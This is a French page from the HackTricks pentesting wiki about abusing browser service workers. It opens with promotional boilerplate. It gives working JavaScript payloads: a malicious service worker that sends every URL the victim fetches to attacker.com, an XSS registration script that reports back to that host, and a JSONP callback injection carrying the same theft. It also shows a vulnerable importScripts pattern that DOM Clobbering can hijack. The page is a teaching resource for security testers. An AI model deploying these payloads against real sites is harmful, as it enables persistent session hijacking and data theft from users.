Abus des travailleurs de service

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
Découvrez The PEASS Family, notre collection exclusive de NFTs
Obtenez le swag officiel PEASS & HackTricks
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.

Informations de base

Un travailleur de service est un script que votre navigateur exécute en arrière-plan, séparé d'une page Web, ouvrant la porte à des fonctionnalités qui n'ont pas besoin d'une page Web ou d'une interaction utilisateur. (Plus d'informations sur ce qu'est un travailleur de service ici).
Ensuite, vous pouvez abuser des travailleurs de service en les créant/modifiant sur la session de la victime à l'intérieur du domaine web vulnérable qui accorde au attaquant le contrôle sur toutes les pages que la victime chargera dans ce domaine.

Vérifier l'existence des travailleurs de service

Vous pouvez les voir dans le champ Travailleurs de service de l'onglet Outils de développement. Vous pouvez également consulter chrome://serviceworker-internals.

Notifications push

Si la victime n'a pas accordé les autorisations de notifications push, le travailleur de service ne pourra pas recevoir de communications du serveur si l'utilisateur n'accède pas à nouveau à la page de l'attaquant. Cela empêchera par exemple, de maintenir des conversations avec toutes les pages qui ont accédé à la page Web de l'attaquant, de sorte qu'un exploit Web si un travailleur de service est trouvé, il peut le recevoir et l'exécuter.
Cependant, si la victime accorde les autorisations de notifications push, cela pourrait être un risque.

Attaque en créant un travailleur de service

Pour exploiter cette vulnérabilité, vous devez trouver :

Un moyen de télécharger des fichiers JS arbitraires sur le serveur et un XSS pour charger le travailleur de service du fichier JS téléchargé
Une requête JSONP vulnérable où vous pouvez manipuler la sortie (avec du code JS arbitraire) et un XSS pour charger le JSONP avec une charge utile qui chargera un travailleur de service malveillant.

Dans l'exemple suivant, je vais présenter un code pour enregistrer un nouveau travailleur de service qui écoutera l'événement fetch et enverra à l'attaquant chaque URL récupéré (c'est le code dont vous auriez besoin pour télécharger sur le serveur ou charger via une réponse JSONP vulnérable) :

self.addEventListener('fetch', function(e) {
  e.respondWith(caches.match(e.request).then(function(response) {
    fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Et voici le code qui va enregistrer le worker (le code que vous devriez être capable d'exécuter en exploitant une XSS). Dans ce cas, une requête GET sera envoyée au serveur des attaquants pour notifier si l'enregistrement du service worker a réussi ou non :

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
  .then(function(registration) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/success", true);
    xhttp2.send();
  }, function (err) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/error", true);
    xhttp2.send();
  });
});
</script>

En cas d'abus d'un point d'extrémité JSONP vulnérable, vous devez mettre la valeur à l'intérieur de var sw. Par exemple:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Il existe un C2 dédié à l'exploitation des Service Workers appelé Shadow Workers qui sera très utile pour exploiter ces vulnérabilités.

Dans une situation XSS, la directive de cache de 24 heures garantit qu'un SW malveillant ou compromis survivra à une correction de la vulnérabilité XSS pendant au maximum 24 heures (en supposant que le client soit en ligne). Les opérateurs de sites peuvent réduire la fenêtre de vulnérabilité en définissant des TTL plus bas sur les scripts SW. Nous encourageons également les développeurs à construire un SW de coupure.

Abus de `importScripts` dans un SW via DOM Clobbering

La fonction importScripts appelée depuis un Service Worker peut importer un script depuis un domaine différent. Si cette fonction est appelée en utilisant un paramètre qu'un attaquant pourrait modifier, il serait capable d'importer un script JS depuis son domaine et d'obtenir XSS.

Cela contourne même les protections CSP.

Exemple de code vulnérable:

index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
  // attacker controls location.search
</script>

sw.js : Le fichier JavaScript du Service Worker.

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Avec le DOM Clobbering

Pour plus d'informations sur ce qu'est le DOM Clobbering, consultez :

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Si l'URL/domaine que le SW utilise pour appeler importScripts est à l'intérieur d'un élément HTML, il est possible de le modifier via le DOM Clobbering pour que le SW charge un script depuis votre propre domaine.

Pour un exemple de cela, consultez le lien de référence.

Références

https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering